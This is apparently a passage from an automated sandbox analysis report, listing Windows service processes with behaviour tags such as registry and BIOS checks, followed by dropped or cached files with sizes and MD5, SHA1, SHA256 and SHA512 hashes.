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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4404
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:5108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:3224
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:3604
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:456
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4376
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:4160
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize302B
MD5e0138507740380b884252008c3099683
SHA1648382426e694ce484edd0b2c71f3b19b655604e
SHA256a335701b76f500115def3e1092c8df5be4dbd87b4069023e5e1def5426387889
SHA51214a38fb0fe6e566bb8998f360a8171c8769c59fd9b5b51e39bfb02fdb9c5b4ab59e7070d5e6352e62af0ad705b85605de2ca63efa108e2a8671d1a89eace1e74
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Filesize
1KB
MD55315900105942deb090a358a315b06fe
SHA122fe5d2e1617c31afbafb91c117508d41ef0ce44
SHA256e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7
SHA51277e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6
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Filesize
15KB
MD5a2949cf4553763a72a828d396ad5dd31
SHA17ed1b017990d482ea57d1c715336923a148321b3
SHA256957254144687b7bb216e8358d4831efd577e64f996f60262f99d44eab3c9c4d8
SHA512d6f898400c72e1776f2b4cb393a9bd855d3c60399ed73f695cdc59600be141e1153c5c80f07cbada4e5da584def967af50f39516094fde36746197b1dbe088ac
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Filesize
15KB
MD59fcad29b39599c5afca8218f90fcd71f
SHA1000194e4310b8e907170676a9174f31f4170b227
SHA2569fd9f68cdfc6a40b1666aaafcfabdcb28461fd4bdae8e23d26dbc9327ca4112e
SHA512a392e0522f53ecbcbc44e08ff2ea284d8f9fe5c8d87a8ac85b64a8477bc9f1226ada0fd7c1381a252525090b2ca068da1000b751323c903ec8b931ecc5ac6bd2
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Filesize
944B
MD59b80cd7a712469a4c45fec564313d9eb
SHA16125c01bc10d204ca36ad1110afe714678655f2d
SHA2565a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d
SHA512ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584
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Filesize
45KB
MD5a44a767dba207c04c74afae17144f787
SHA1fa14f38216e259be5b181c825719f1c864691a5f
SHA25626eaa5bce06cadc54cb4990fabb1b9150966ef720b07a836ef2bd456360246b2
SHA5127dfd6e182ac9f16b29843cb0eabaa7db02fa3ee59c65c7822d9213859c4a7185d0fdcd1d51747a11b4fdd3a7947ea14fdc7fa583c13b4d3edf50b8d6d3178619
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Filesize
163KB
MD51a7d1b5d24ba30c4d3d5502295ab5e89
SHA12d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
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Filesize
661KB
MD52513e26d91a03e8fbcbfd8c3f4f11f80
SHA1dabc1fc063c86d28d6b3313cbed51334bc90a0e0
SHA256c62bc8ed1192add4a2ce16af0fe67dfe6a061b85c1176648a3ad9856b1744966
SHA51256b55eefc9277ba83ba1f1b7fad87166a6d5b85266be5f4a3f35cd9af36a0f0c2c51011d3f6ed5acbf8f710fe7858ce81dc09878b1f791230795f0088f29e404
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Filesize
95KB
MD5bcbcb79606c1833ccef6ca77a7535936
SHA10fcbf9cd7ad1963736afac84cc56069654df3d42
SHA256ce13808dad8149017d9dbc146681a99cd79aaa1288f890c9120a47c347c9db29
SHA51220a3aa8046c8e3c93a9a55aa3750088da247abb11444883f8463aef0d347520c697067b5a8491de204310660cdb632b828d58898e4f65fd385cb1ec2da752391
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Filesize
153B
MD568514a4c73217f6b01abefef349e4def
SHA1e1375634f263e8329d214e18ad51e75029c5192d
SHA2563e9b88345240228eb6c0c163b039377ddf459e5a3896191231ee8f3c6ac4532c
SHA5128894685ed35d80af240fc57c47c7a347ec8dc88a3ec09fc8ea2a16124b36e804d693ebebf072d2a25b839652f8189920be63c579a50b8d36ec518246cf06f222
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5aa187cac09f051e24146ad549a0f08a6
SHA12ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA2567036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
SHA512960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2